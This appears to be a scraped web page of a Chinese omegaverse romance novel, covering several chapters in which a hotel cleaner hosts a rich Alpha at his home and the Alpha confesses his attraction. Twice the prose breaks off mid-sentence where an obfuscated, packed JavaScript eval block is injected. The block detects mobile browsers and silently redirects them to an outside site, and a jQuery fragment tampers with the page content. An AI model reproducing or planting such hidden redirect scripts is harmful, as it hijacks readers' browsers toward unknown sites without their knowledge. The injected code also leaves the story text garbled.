他这几天唯一聊得比较多的,竟然是穆与。 自那日两人忆起往事后,穆与每天都会约他吃饭,他每天都要去穆与房间清洁,没法避开和穆与接触,晚餐能以要回家为由拒绝,午餐却找不到拒绝的理由。 就这么一起吃了几天饭,冉小风也渐渐卸下了防备,穆与每次约他吃饭,都是单纯的吃饭,用餐时的闲聊也不过是一些没营养的话题,他现在和穆与说话,也比最初时自然得多,甚至连穆与叫他“小风哥”都听习惯了。 有时候突然想起两人间的差距,冉小风会有一瞬间的恍惚,他怎么也不会想到,自己一个普通得不能再普通的人,能跟穆与这样的富家贵公子交朋友,当初好心做的好事,竟然会在五年后得到了回报。 平稳地上完了三天班,这天下午,冉小风接到了蒋琳的电话。 “小风,今天工作结束了吧?” 冉小风正往休息室走:“嗯,刚结束,我正准备换衣服回家了。” 蒋琳道:“你这几天也辛苦了呀,明天给你放天假,好好休息休息吧。” 冉小风脚步一顿,疑惑地皱起眉,公司每周上六休一,工作满一年才能多几天年假,他才上班三天,明天给他放什么假? 休息室里有人在,冉小风站远了些,道:“蒋主管,我可以等周末再休假吗?” “嗯?你理解错了,明天是额外的假,周末还是可以正常休。” 这话让冉小风更迷惑了:“为什么?” “哎呀,能休假还不好呀?你放心,是带薪假,我也只是听通知办事儿,具体为什么,我也不知道。”蒋琳说完,又自顾自地笑起来,“小风,我就说你走运吧,刚来这边上班,就遇到这种好事,前几天我还担心你呢,现在看来是我担心早了,你可得好好把握机会啊。” 蒋琳这段话虽说没有指名道姓,但是个傻子都该猜出原因了,她将电话挂了,冉小风还在原地呆了半天,他没回休息室,而是扭身去了2008号房间。 通过这几天的相处,他已经大概摸清了穆与的日常,穆与就是个游手好闲的纨绔,整天不是在酒店里玩,就是出去潇洒,每天的生活都是灯红酒绿、纸醉金迷,一点儿正事都懒得做。 他的房间之所以要到将近中午才清理,没有什么惊天动地的原因,就是单纯的这位公子起不来。 冉小风每次去他房间,他不是在床上躺着,就是在沙发靠着,短短三天的时间,有两天都是一脸宿醉,冉小风本就对他的信息素异常敏感,每次进屋都要受到信息素气味的攻击,这几天服用的抑制药,比分化以来吃的都要多。 现在这个时间,穆与还没出去觅食,大概率在自己房间玩游戏机,冉小风轻轻敲响房门,在外等了一会儿,却没有人回应,他又敲了敲,还是无人应答,这才拿出房卡开门。 这是穆与要他这样做的,三天前,他按计划表到点去房间清洁,连着敲了几次门,都没有得到回应,他本以为穆与不在,哪知自己刷卡打开门,穆与好生生在屋里呆着,正懒洋洋地躺在沙发上,看着一部国外的科幻电影。 他不是没时间,只是单纯得不想动,见是冉小风,顺势就给了他可以随时开门的特权。 正如冉小风猜测的那样,穆与穿着一身家居服,大赖赖地靠在沙发上,他鞋都没穿,长腿直驱地垫着茶几,手里拿着一个黑色手柄,正聚精会神地玩。 能开门的只有冉小风,穆与头都没回,扬声道:“小风哥,快过来坐,怎么现在过来了?” 冉小风关上门走过去,还没开口,穆与继续道:“你先坐会儿,等我玩完这把。” 屏幕上打击的光芒闪烁,看起来战况激烈,冉小风看不懂这些,但穆与都这么说了,他只好坐下来等着。 他盯着电子屏幕看了一会儿,就被那3d模型晃得眩晕,只能移开视线,转而看着地板发呆。 他忽然就有些怀疑人生,人的冲动总是一时的,在听到蒋琳说的那些话后,他第一反应就是来找穆与,可现在被晾在一旁冷静下来,他又开始疑惑自己过来到底是干嘛的。 穆与很快解决了战斗,将手柄放到一边,靠着沙发伸了个懒腰,这才看向冉小风。 他扫过冉小风身上的工作服:“你还没下班吗?” 冉小风回过神,道:“下班了,还没来得及换衣服。” 穆与眯着眼笑起来:“这么急着来找我啊,有什么事吗?” 这话让冉小风莫名噎了一下,他抿了抿唇,原本兴冲冲想问的话,现在说出来却有些乏味:“我明天休息,是你安排的吗?” “是啊。”穆与大方承认,“你都连着上三天班了,每天做这么消耗体力的事情,肯定很累吧。” “我……也没有很累。”冉小风忽 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“我知道,那次叫了车,我的手机里有你家的地址,是有些远,反正我也没什么事做,正好还能熟悉一下国内交通。”穆与道,“你不是说家里有做蛋糕的工具吗?那就足够了,我想吃你做的蛋糕,要是还有多的时间,我还能带你出去玩玩儿。” 冉小风不说话了,穆与的话说到这个份上,他想不出继续推辞的理由,更何况他的假期都是穆与安排的。 他不清楚穆与在想什么,好像完全不觉得一个Alpha去Omega家里,有什么不妥,他也不知道,穆与为何这么执意要到他家来,真的只为吃那一口他做的蛋糕吗? 可如果不是,穆与又是为什么这么做? 冉小风还在冥思苦想着如何回应,穆与反倒先发制人,有些委屈地看着他:“小风哥,你是不想我去你家玩儿吗?” “……没有。”冉小风脱口而出。 他在心中叹了口气,再一次妥协了,虽说心里一百个不情愿,但仔细想想,要是他没来穆与房间,明天穆与是不是会直接去他家找他? 穆与说出的话,从来没有带着询问的意思,只是通知一声,穆与执意要做的事情,别人也根本没有拒绝的权力。 他只能宽慰自己,朋友之间到家里玩挺正常,也许是他太久没交过朋友,对此太敏感了,而且是穆与过来,他自己都不嫌远,他又有什么好担心的。 就算穆与不来,明天他也打算在家做做甜品,与其第二天再带给穆与吃,倒不如让他吃新鲜的。 穆与再次眉开眼笑,伸手拿过手机:“那就这么说定了,我们加个联系方式吧,电话号码也存一个。” 冉小风点点头,拿出手机和他一同操作,两人互加了好友,穆与没再继续留他,他便离开了房间。 8. 第 8 章 尽管只有一天的假期,还是带着目的赠与的,对于冉小风这种做着底层工作、休息日极少的人,依然弥足珍贵。 他的生物钟早已习惯了早起,虽说是难得的休息日,他也在六点时醒了过来。 他给自己煮了碗面当早餐,吃完后又将家里整理一番,他这房子就巴掌大,客厅和卧室是同一片区域,连通着厨房、厕所,和一个封闭的小阳台,加在一起还没穆世酒店的一个单间宽敞,他站在房子的任意一个角落,都能一眼将整个房子看穿。 重新回到这座城市后,他就一直住在这里,这房子很老旧,墙面发黄,地板也暗沉沉的,有些地方还翘了起来,家电家具也都有十多年的寿命,尽管他住得很爱惜,每天将这房子打扫得干净整洁,也掩盖不住它的破旧。 但总体来说,冉小风对这里挺满意,毕竟房租很实惠,住了几年房东没涨价,也从不找他麻烦,邻居都是来大城市讨生活的人,大部分和他一样早出晚归,夜里休息时很安静。 他将扫完的垃圾倒进垃圾桶,又将地板拖了一遍,拎着装满垃圾的垃圾袋,打算下楼扔掉,顺便去超市买些做蛋糕要用的原料,家里的菜也需要备一点。 以他对穆与的了解,穆与早上多半要睡到十点以后,真到这儿来至少中午去了,正好给他些练手的时间,他已经有一段时间没有做过烘焙,也不知道技术有没有退步。 他买了不少东西,拎着大购物袋回家,刚到家门口,邻居家的门打开了。 “小风叔叔!”身旁传来一个男孩兴奋的声音,“你今天没有上班啊。” 冉小风扭过头,对上江洺的闪着光的眼睛,点了点头:“嗯,今天休息。” 江洺是个可爱的孩子,前段时间刚满十四岁,冉小风刚搬来时,他还不敢和他说话,只在平时偶遇时拿一双大眼睛偷偷看他,倒是他的父母和他时常闲聊两句。 几次遇见闲聊后,他们也算是熟悉了几分,江洺是住校生,只在周末或假期回来,他的父母工作繁忙,经常没时间陪他,有时候他回来家里没人,冉小风会帮着照顾他,给他做晚饭吃。 他还住在养父母的房子里时,邻居家的姐姐们就经常邀他去吃饭,他觉得这一点江洺和他以前很像,不过江洺的家庭比他要幸福得多。 他扫过江洺身上的睡衣,问道:“你呢,今天不用上学吗?” “我请假了。”江洺揉了揉脑袋,道,“我最近状态不好,去医院检查,医生说我快分化了,我妈让我这段时间在家休息。” 冉小风了然,第二性征在出生时就能检验出来,十四岁左右进行分化,大部分Alpha和Omega的分化期是一周左右,也有特殊情况,比如穆与作为优等Alpha,分化反应持续两个多月,而他作为劣等Omega,则是一天都没有过。 不过现在即使是分化期,也不像以前那样麻烦,普通人只需要在发作时吃药就能缓解,休息一晚就能恢复正常,之后只要在发情期和易感期之前定期服药就好,除此以外,还能通过打抑制针,保持的时间更久,但价格会比抑制药贵得多。 江洺是一个Omega,又是住读生,在学校分化或多或少不太方便,所以家人干脆让他在家里休息。 江洺一眼便瞧见冉小风的购物袋,道:“你买了什么,这么多?” 冉小风将袋子提了提:“买了些菜,还有烘焙的材料,待会儿要过来吃吗?” “当然要,我最喜欢吃你做的食物了!”江洺说完又傻笑了两声,“其实我正准备出去买早餐,家里有包子,但是我不想吃,现在我早餐也不打算买了,我要等着吃你做的。” 冉小风笑道:“那还得饿好久,我先给你做点儿吃的垫垫吧,你想吃什么?” 江洺听了也不客气:“你做的就行,什么都可以。” 冉小风拿了钥匙开门:“跟我来。” 江洺跟着进了屋,他不是第一次来,轻车熟路地翻出拖鞋换上,冉小风拎着袋子走去厨房,他也跟了过去。 为了节省时间,冉小风给江洺煮了碗清汤面,再加两颗蛋和刚买的青菜,江洺吃得津津有味,连汤都喝完了。 他主动去洗了碗,见冉小风已经开始做烘焙的准备,便也加入了制作当中。 做自己喜欢的事情,时间总是会过得快一些,冉小风烤了些曲奇,还有饼干,又做了一个蛋糕胚,电话就响了起来。 看到来电人,他才想起今天重要的事情,他接通了电话,听到的却是穆与有些烦躁的声音:“你家到底在哪儿呀,我在这里绕了几圈了。” “你已经到了?”冉小风扫了眼时间,已经将近中午十二点,确实差不多了,“你周围有什么建筑吗?” “有一个超市,还有一个鑫鑫便利店。”穆与道。 冉小风知道了地方,道:“你就停在那儿,我出来接你,再往里车开不进来了。” “好吧,你快点儿啊,我一起床就过来了,饭都没有吃。” 穆与的语气里带了些委屈,冉小风放下手里的工具:“我现在就过来。” 江洺还在一旁研究奶油,听了冉小风的对话,疑惑道:“小风叔叔,谁要过来玩吗?” “嗯,朋友。”冉小风犹豫地说出来,看了江洺一眼,之前在酒店听了一嘴,穆与似乎很排斥Omega,江洺现在还没有分化,不会释放信息素,应该没事吧? 而且他自己也是Omega,穆与闻到他的气味,也没出什么问题。 他拿了一小袋刚做好的曲奇,对江洺道:“我出去接他。” 他离开了家,一路小跑到穆与说的十字路口,还在左右环顾,就听到一个喇叭的声音。 扭过头,一辆崭新的红色跑车闯入视线,在这个充满原始气息的老小区里,很是扎眼。 从车里走出来的人也是光彩夺目,明明穿着再普通不过的白衬衣和灰色短裤,却散发着矜贵的气息,这样惹眼的气质吸引了周围不少人的视线。 穆与倒是习以为常,甚至乐在其中,他旁若无人地走到冉小风面前。 冉小风将曲奇袋子递过去,语气有些干巴:“先吃点这个吧,刚做好的。” 穆与接过袋子,郁闷道:“你已经开始做了啊,我还想和你一起做呢。” “蛋糕还没做完,等下你可以试试。” 穆与立马笑起来:“好。” 穆与笑的时候眼睛会弯成月牙,本就柔和的五官也显得更加亲切,一瞬间就能跟人拉近距离。 冉小风没那么局促了,也微微笑了笑:“走吧。” 他带着穆与往自己家走,穆与一边走一边吃曲奇,看起来很是满意,他环顾路过的建筑,好像在看什么新奇的东西。 “我都没想到,A市居然会有这种地方。”穆与看到一栋没关大门的单元楼,脸色变了变,“又是楼梯房吗?” 冉小风点头:“嗯,不过是在三楼。” 他似乎听到穆与松了一口气的声音,心里觉得好笑,一块曲奇突然递到他嘴边:“你也尝尝,你做得曲奇真好吃。” 两人还走着路,冉小风来不及停下脚步,嘴唇蹭到曲奇,甚至撞到穆与的指尖。 他脚步一滞,只感觉被指尖戳到的地方存在感极强,突突直跳。 他看着眼前的曲奇,已经被嘴唇沾过了,他也不可能不要,只能抬手将曲奇接过来:“谢谢,我已经吃过了,你吃就好。” 穆与没事人似的收回手,继续拿曲奇往嘴里塞,两人走到家门口时,那一小袋曲奇已经全部吃完了。 冉小风打开门,听到里面传来的动静,这才想起刚刚走了一路,都没提前和穆与说江洺的事。 “家里有个小孩儿,刚才忘记和你说了。”冉小风道。 穆与一愣,表情有些古怪:“什么小孩儿?” “邻居家的,他们家现在没人,他一个人在家,我就叫他过来了。”冉小风解释完,冲着房里喊,“洺洺,我们回来了。” 这房子就这么点大,两人讲话的声音站在哪里都能听得一清二楚,江洺却是等着冉小风喊完才有了些动静。 他扒拉着墙壁,探出半个头,一双眼睛炯炯有神地望过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江洺眨了眨眼:“真的假的,他那么帅,你没考虑发展发展呀?” 冉小风有些无奈,没想到这个年纪的小孩子这么八卦,而且这房子就这么点儿大,讲悄悄话也难免被听见,他不想说那么多。 他扫过江洺面前的蛋糕,拿起来摆到一边:“我现在要做饭,你到边上去抹奶油吧,这个蛋糕做好你自己吃。” 江洺瘪了瘪嘴,但还是听话地照做了。 冉小风将买好的菜一一拿出来,有五花肉、豆角,还有一些青菜,虽然普通,但荤素搭配。 他先淘米煮饭,又将豆角摘好,和青菜一起洗干净,手一直没闲着。 穆与看着厨房里忙碌的身影,只觉得燥热不安,冉小风打开家门的那一刻,他的四周就被信息素的气味包围了。 和其他Omega不同,他不觉得这味道恶心,反而觉得着迷,平时在冉小风身边,这味道的存在感就已经够强了,现在直接进了人家的窝,想躲都躲不掉。 他觉得自己要是再看一会儿,保不准就扑过去,偏偏边上还有个电灯泡,他目光转移到江洺身上,视线犀利得要杀人。 他搞不懂冉小风,干嘛叫个小屁孩儿来打扰他们的二人世界,这小孩儿也奇怪,都看到他来了,还不自己滚蛋。 他将手机拿了出来,打算玩会儿转移注意力。 哪知屏幕一亮起,正中间就是一条微信消息,他扬起手机解锁,点进去,就看到他那损友发来的消息。 【睡到没?】 【滚。】 穆与烦躁地回了消息过去,表情有一瞬间毁灭,还好冉小风没转身看,不然这几天好不容易建立起的好印象,全都得完蛋。 他怨念地盯着厨房里的两道身影,只觉得又热又燥,倾身打开床头柜乱翻一气,终于在最底层翻出空调遥控器。 他扬手打开了空调,期望给自己物理降降温。 9. 第 9 章 冉小风听到了空调启动的声音,切菜的手顿了顿。 租房大多都有一个问题,为了节省成本,房子里许多必备电器都是挑便宜的买,有些甚至是二手货,极其耗电,所以就算是炎热的夏天,冉小风也不会整日整日的开空调,只在最热的那段时间开得久一点。 现在这天气,怕冷的人甚至还在穿长袖,连风扇都没有开的必要,他搞不懂穆与为什么要开空调,但来者是客,还是这种金贵的客,他也不好说什么。 他正在分解一大块五花肉,扭头跟江洺说:“你去把窗户都关上。” “哦,好。”江洺放下手里的刮刀,听话地把窗户都关上了。 室内空间本就狭小,空调开了不到五分钟,温度已经降了下来,那空调正对着厨房,风汩汩往江洺后背吹。 江洺没一会儿就开始吸鼻子,说话声音也直哆嗦:“小风叔叔,我好冷啊。” 冉小风看向江洺,只见他鼻尖通红,眼睛里也带着泪花,甚至嘴巴都泛着白,虽然温度是低了点儿,但也不至于冻成这样。 他觉出江洺的反常,问:“你还有什么不舒服吗?” 江洺摇头,两手抱着胳膊:“就是有点儿冷。” 如果平时遇到这种情况,他肯定让江洺去躺着休息会儿了,但现在床上躺着个少爷,腾不出地给江洺,他只好道:“不然你先回家休息,等饭做好我给你送去。” 江洺低头,刮刀在蛋糕上抹了两下:“蛋糕还没做好呢。” 冉小风道:“后面我来,这一整个都给你。” 江洺噘着嘴,还想坚持,但他自己也知道,自己现在的状态很奇怪,他眨了眨眼,问:“叔,我不会是要分化了吧?” “有可能,你药备好了吗?”冉小风问。 江洺点头:“早备着了。” 冉小风看一眼不远处的穆与,江洺要是真要分化,在这个优等Alpha跟前太危险了,要是把这大少爷惹得不开心,那又要生出不少麻烦。 “那你快回去吧。”冉小风催促,又叮嘱道,“手机放身边,有什么不舒服就赶紧给我打电话。” 江洺走之前往穆与那儿看了眼,却是一句话不敢说,招呼都没打一声,就这么换了鞋回家了。 穆与本来还在和自己那损友对骂,见这情景坐起身,看着从厨房走出来的冉小风:“他怎么走了?” “他身体不太舒服,先回去休息了。”冉小风走去衣柜,拿了件外套穿上。 本来烦透了的电灯泡自己走了,穆与瞬间喜形于色,冉小风没注意他,穿好衣服就继续去厨房炒菜,切好的五花肉下锅,出油后又捞起来炒糖色,动作熟练一气呵成,很快就完成了一系列工作,盖上盖子小火炖。 做红烧肉要多炖会儿,冉小风将那做了一半的蛋糕装饰加工,撒粉裱花加水果,一个漂亮的蛋糕便完成了。 他拿了个盒子装上放到一边,又拿出平时煮面用的小锅,炒了豆角,煮了菜汤,肉也正好炖好了。 家里油烟机也有十来岁,声势大作用小,开着没什么作用,还可能把冷气都吸走,冉小风没开,几个菜做完,整个屋子都飘着菜香。 冉小风将菜装盘,转身去房间,又将角落的大桌子搬到床边,板凳拖到床对面,再去厨房将饭菜一一端去桌上。 这一切做完,穆与放下手机,从床上坐了起来,看着一桌子菜,眼睛发亮。 “家里就一个凳子,你就坐床上吃吧。”冉小风边说边拿碗给穆与添饭,这几天每日和穆与共进午餐,他对穆与的饭量还算了解,米饭添了压压了添,实打实地装了一满碗。 穆与拿起筷子也不客气,夹了菜就往嘴里放,满意地说:“太好吃了,小风哥,你别做现在的工作了,去当厨师吧。” 这夸张的夸赞让冉小风有些不好意思,他笑道:“谢谢,喜欢就多吃点,锅里还有。” 他没急着吃,而是又去厨房拿了个碗和盘子,碗里装汤,盘子里装饭和菜,打算给江洺送去。 他跟穆与说了一声便出门了,两手都拿着东西,他没法敲门,只能在门口喊江洺。 等了一会儿,门打开了,江洺浑身乏力地探出头,嗓音也恹恹的:“小风叔叔。” 冉小风柔声道:“我把饭菜端来了,你好些了吗?” “嗯……我也不知道。”江洺道,“我刚刚给我妈打了电话,她要我吃药,我已经吃了。” 江洺抬手想接过饭菜,冉小风却没给他,看他现在这副摇摇欲坠的模样,他都担心端菜把菜泼了。 他迈进屋子,道:“我直接进来了?” “好。” 到底是一家子住的,江洺这边的房子大点儿,两室一厅,只不过江洺的卧室只有几平米大,放一张单人床就去了一半。 冉小风朝着餐桌走去,将盘子和碗放到桌上,江洺趿着沉重的步子走过来,刚坐下没多久,就难受地趴了下来。 他有些沉地喘息着:“叔,我好难受。” 冉小风看他这样,心中也不是滋味,无论是Alpha还是Omega,在分化时都会发烧,腺体也会在这时候如刀刺般疼痛,虽然他没有过这种体验,但也知道发烧时的痛苦。 他在江洺身边坐下来,轻轻搭在他肩膀上:“稍微吃一点吧,吃完再去睡一觉,明天就好了。” 江洺缓缓支起身子,有气无力地夹菜往嘴里塞,尽管身体难受,他还是咧着嘴笑了笑:“真好吃。” 冉小风也笑起来,他等着江洺吃完,扶着他回了卧室。 刚打开卧室门,一股香味便飘了过来,很明显是江洺散发出来的,虽说吃了药让他本身的气味淡了许多,但房间里的气味还是非常明显。 冉小风让江洺躺回床上,替他将窗户开大了些,还没说什么,倒是江洺先开口了:“叔,你回去吧,不是还有客人在吗?” 冉小风抿了抿唇,比起招待穆与,他更希望留在这里照顾江洺,但想法归想法,他总不能真的把穆与晾在自己家里。 他叹了口气,叮嘱道:“你好好休息,有什么问题随时和我打电话。” 江洺道:“嗯,你放心吧,我妈说她今天会早点回来,我没事的。” 冉小风最后看了他一眼,回客厅收拾了盘子和碗,重新回到自己家。 他在江洺那儿待了挺久,回来后穆与已经吃完了,正躺在枕头里。 听到声音,穆与抬起眼睛,表情不是很好:“你还知道回来啊。” “……”这话怎么听怎么怪,冉小风不知道怎么回答,便默不作声地走过去。 他扫过桌上的饭菜,穆与还算有点良心,给他留了一部分。 “菜都凉了。”穆与说着坐起身,还准备说什么,脸色突然一变。 穆与眉头紧拧,捂住口鼻瞪着他:“你身上怎么有Omega的气味?!” 冉小风愣了愣:“是江洺,他……” 话还没说完,穆与猛地跳下床,鞋都来不及穿就跑进厕所,对着茅坑呕起来。 冉小风一时傻眼,放下筷子走过去,却不敢靠近,怕自己身上沾着的气味继续刺激穆与。 穆与呕了半天,也没吐出东西,他似乎是累了,跌坐在地上,抽过旁边的纸擦了擦嘴。 冉小风进退两难,只能站在原地问:“你还好吗?” 穆与剜了他一眼:“你说呢。” 冉小风有些窘迫,将刚才的话解释完:“江洺分化了,我刚刚在他卧室待了会儿,身上沾了他的气味。” “从分化以后,我就不能闻Omega的气味了,就连我妈妈的都只能勉强接受。”穆与道,“普通味道还能忍受,但你身上带来的那种浓度,我受不了。” “……抱歉。”冉小风道,见穆与还坐在厕所地上,他家厕所也是极其狭小,穆与一条腿伸直能到门外来,他问,“你能站起来吗?” 穆与摇摇头:“我动不了,你过来扶我。” 冉小风犹豫道:“可我身上沾的味道不是会让你难受吗?” “你多释放一些你的气味就好了。”穆与重新挂上笑容,“只有你的味道不让我难受。” 冉小风无言,穆与总能顺理成章地说出一些令人羞赧的话,好像是与生俱来的能力,但他自己却浑然不觉。 不过,他还是照着穆与的意思,让自己释放了一些信息素出来,他是个劣等Omega,平时都像Beta一样生活,这还是第一次主动释放信息素。 他试探地走向穆与,边走边观察穆与的表情,直到在穆与面前停下来。 穆与直勾勾地看着冉小风走近,自然地抬起手,方便冉小风扶他。 他整个人都压在冉小风肩上,分化后的他长高了许多,身体也结实不少,和当年那个小屁孩儿判若两人。 冉小风觉得自己像扛着一头水牛,吃力地搀着穆与躺回床上,他吁了一口气,看穆与满脸苍白的虚弱模样,心中苦涩。 他好不容易休息一天,却要接连照顾两个病号,还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775636|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如让他去上班算了。 安置好穆与,冉小风终于有时间吃饭,饭在电饭煲里保温,汤也还有些温度,但菜已经在空调的低温下凉了。 尽管如此,冉小风还是将剩余的饭菜都清扫干净,收拾了餐具去厨房清洗。 床板发出咯吱咯吱的声响,穆与翻了个身,头埋在枕头里闭眼休息,这床不大,睡冉小风刚刚好,睡穆与就挤了点儿,他只能将腿弯曲才不至于伸到外面。 他就这么静静地一动不动,也不知是不是睡着了,冉小风怕挪动桌子吵到他,只轻手轻脚将它擦干净,便将要看的书拿了过来。 想要报考烘焙相关的证书,至少得有一年工作经验,但他既没资质又没文凭,就算去了蛋糕店,也只能先当学徒。 学徒的工资太少,他必须先有一些积蓄再做打算,暂时考不了证,他也没打算闲着,他想借攒钱的时间自考,提升自己的学历。 冉小风很快进入状态,对着书上密密麻麻的文字默读起来,虽说有挺长时间没有看书,但他的学习能力还没有退步太多,很快就能将看过的内容记下来。 看了两三页,头顶传来穆与的声音:“你在看什么?” 冉小风抬头,同穆与对上视线:“自考需要考到的内容,正在学。” 穆与坐起来,扫过他面前的书:“这种是不是报个班好一点?” “嗯……但我暂时没这个打算。”冉小风不太想和穆与继续这个话题,转而问他,“你好些了吗?” 穆与点点头,凑到冉小风跟前嗅了嗅,意味不明地望着他笑:“只有你的气味了。” 这模样看起来是恢复了,冉小风避开穆与的视线,合上书道:“那要做蛋糕吗?做你的那份。” “好啊,我也可以做吗?” “可以,我教你。” 他站起身走去厨房,穆与也跟了过来,他将烘焙用到的材料一一摆出来,帮穆与准备好,递给穆与几个鸡蛋,自己手里也拿了一个。 “像我这样,先把蛋清分离到碗里。”冉小风轻轻敲了敲鸡蛋,剥出一个小口,手腕来回打转,很快将蛋清分离了出来。 穆与学得挺认真,有样学样地跟着做,他学得挺快,在冉小风的带领下制作好了蛋糕糊,倒进模具中。 冉小风将蛋糕模具放入烤箱,调好时间,满意地呼出一口气。 他笑着看向穆与,心情很好:“这个应该做得很成功。” 穆与盯着他的脸:“你真的很喜欢做这些啊。” 对于自己热爱的东西,冉小风不会含蓄:“很小就喜欢了,小时候跟着阿姨做,后来就自学,也跟着师父学过一段时间,就是五年前遇见你的时候。” 穆与笑:“那时候我就觉得,你做的蛋糕是最好吃的。” 冉小风也止不住欣喜的笑容,他没跟穆与说,自己希望以后能够开一家甜品店,这个梦想对现在的他而言太遥远,说出来显得他异想天开。 穆与看着冉小风的脸,这些天来这张脸吝啬笑容,总带着疏远与防备,现在因为自己的梦想绽开笑容,竟是这样迷人,他自己都没发觉自己的愣怔。 他的表情忽然正经起来,朝冉小风走近一步:“小风哥,你能再释放一点信息素吗?” 冉小风怔了怔,收敛了笑容:“……你不是好了吗?” 穆与没回答,而是继续靠近他,直到站到他面前。 “你还记得那时候你背着我,我说你身上很香吗?”穆与道。 冉小风没说话。 穆与垂眼扫过冉小风的脖颈,他的发质偏软,发尾搭在脖颈上,衬得皮肤很白。 穆与的声音很沉:“那时我就觉得,那肯定不是洗发水或者沐浴露的味道,现在更加确定了,就是你的信息素的气味。” 这样近的距离,让冉小风下意识紧张,尽管穆与没刻意释放信息素,他也能闻到那股不属于他的气味。 穆与这样突然的行为,再迟钝的人也该感受到不对劲,他机械地回道:“可能你那时候要分化,所以才能闻到。” “是啊,那天晚上我闻了整整一晚,后来再也接受不了其他Omega的气味。”穆与深深地注视着他,“原本我以为是我身体的问题,但再次见到你,我觉得我一直以来都想错了。” 冉小风看着地面,掩饰着眼底的不知所措,穆与还没继续往下说,他的心脏已经提前加速跳动起来。 他听到穆与继续说:“我会变成现在这样,是因为我被你吸引了。” 10.第 10 章 周围的一切都静谧下来,只有烤箱在发出运作的声音。 冉小风觉得自己的时间都被穆与的一句话拉长了,他的思想变得无比漫长,脑子里也是一片空白。 穆与也不着急,耐心地等着他的回应。 “我……”冉小风张嘴吐出一个字,又暗暗舔了下嘴唇,“我们才刚认识几天。” 穆与道:“我们明明五年前就认识了。” “那个时候我们也只相处过一天,连对方的名字都不知道。” “你忘了后来,我哥找你买了两个月的蛋糕吗?”穆与扯出一个笑,“那时候如果没有你的蛋糕,我都不知道该怎么熬。” “那是我的工作,如果你喜欢,我现在也可以做给你吃。” 而且就算那个时候,也是跟你哥相处得更多。冉小风在心里想,没有说出来。 他还记得穆与的哥哥第一次到店里,点名找他时的场景,那时他正在清理后厨台面,出来看见穆与的哥哥,因为目光过于呆滞,后来还被店长调笑了一番。 穆与的哥哥容貌过于突出,即使后来隔三差五遇见,他也止不住加重的心跳声。 虽然现在无法在脑子里描绘他的长相,但如果再次遇见,他一定能一眼认出他。 穆与的笑容有些苦涩:“小风哥,你是觉得我在开玩笑吗?” “……” “或许在你眼里,我只是一个偶然遇见的陌生人,但你的气味,我已经记了整整五年。”穆与叹了口气,“我分化刚结束就去找过你,但你已经不在那家店里了,后来每次经过蛋糕店,我都会想,你会不会在里面?可直到我出国,都没能找到你。” 穆与轻轻抓住冉小风的手腕,真诚道:“如果不能遇见你,我或许这辈子都不会和别的Omega接触,但我刚分化时就被你帮助,出国这么多年,结果刚回国没多久就能和你重逢,这难道不像命中注定吗?” 冉小风低下头,眨了眨眼睛,他感觉脑子里乱糟糟的,明明刚才还只是在做蛋糕,怎么现在突然转变得这么快?他甚至忘记从穆与手中抽回手。 穆与主动松开他的手腕,却扬手捧住他的脸,深深地望进他的眼睛里:“你不用现在回应我,但我希望你不要拒绝我对你好,试着接受我,好吗?” 穆与的声音仿佛咒语一般进入冉小风的脑袋,再配上这张蛊惑人心的脸,和那仿佛要把人的脸看穿的眼神,冉小风只觉得自己脑瓜子嗡嗡的。 他垂下眼睛,避开穆与的视线,没有回应穆与的话,却不知道眼底的不知所措全被穆与看了去。 穆与笑了一声:“小风哥,你的脸好烫啊,我可以把这个当成你的回应吗?” 这话一说,冉小风自己也能感受到脸上的温度了,他推开穆与的手,侧过身去:“待会儿还得等蛋糕胚放凉,要做点别的吗?” 虽然一句回应都没有,但这样生硬的转移话题,穆与好像已经知晓了答案。 他笑着凑过去:“好。” 穆与没有在冉小风这里待太久,制作好一个蛋糕,期间又做了些饼干,已经下午四点,他本来还在纠结要不要留穆与在家吃晚饭,但穆与先提出了离开。 穆与今天要回一趟奶奶家,他奶奶就是穆世集团目前的老板穆千鹤,穆与回国几天,今天是继回国当天之后第二次回去。 送走了穆与,冉小风的脑子才稍稍清醒了一些,他怎么也想不到,自己和穆与的关系,突然变成现在这样不明不白。 这短短四天的时间,他的人生就像过山车一样起起伏伏,明明只是一个临时招来的清洁工,却和集团老板的孙子有这样的渊源,只怕说出去都没人会相信。 就连他自己都恍惚,他和穆与的两次相遇都这样奇妙,穆与以为只有自己被他的信息素吸引,却不知道,他也深受穆与的影响。 难道他们……真的这么有缘? 冉小风猛地摇晃脑袋,将这些奇怪的想法驱赶出去,他第一次觉得自己脑容量这样不够用。 既然如此,就顺其自然吧,与其有那么多的想法,还不如交给命运,让一切都简单一点。这是冉小风这么多年来养成的习惯。 他不再多想,将江洺的蛋糕装进盒子里,亲自送了过去。 第二天,一切都恢复如初,冉小风依然早早起床,经过漫长的通勤到了酒店里。 但不知是不是他的错觉,在开交接晨会的时候,他总觉得另外几个同事看他的眼神有些不对。 蒋琳倒是没有变化,吩咐完今天的主要任务,又交代了几句便散会了。 冉小风打算开始工作,经过门口时又被一个人叫住。 “诶,小风。” 冉小风回过头,叫他的是一个四十来岁的大爷,冉小风记得这个人,姓张,前段时间刚添了孙子,每次在休息室遇见,总能听他跟别人讲孙子的事。 张大爷见他停下来,将自己手机递过去,手指头点着屏幕:“这个厕所,昨天我帮你做的,今天你可得还我啊。” “……”冉小风扫过他指的地方,“张大爷,这不是我的工作范围,而且昨天我是正常休假,不是换班。” 张大爷眉毛倒竖:“你才来几天就正常休假?这是昨天蒋主管说的,要我帮你先做着,你不信就问她去!” 他说完也不等冉小风回应,大步流星地走了。 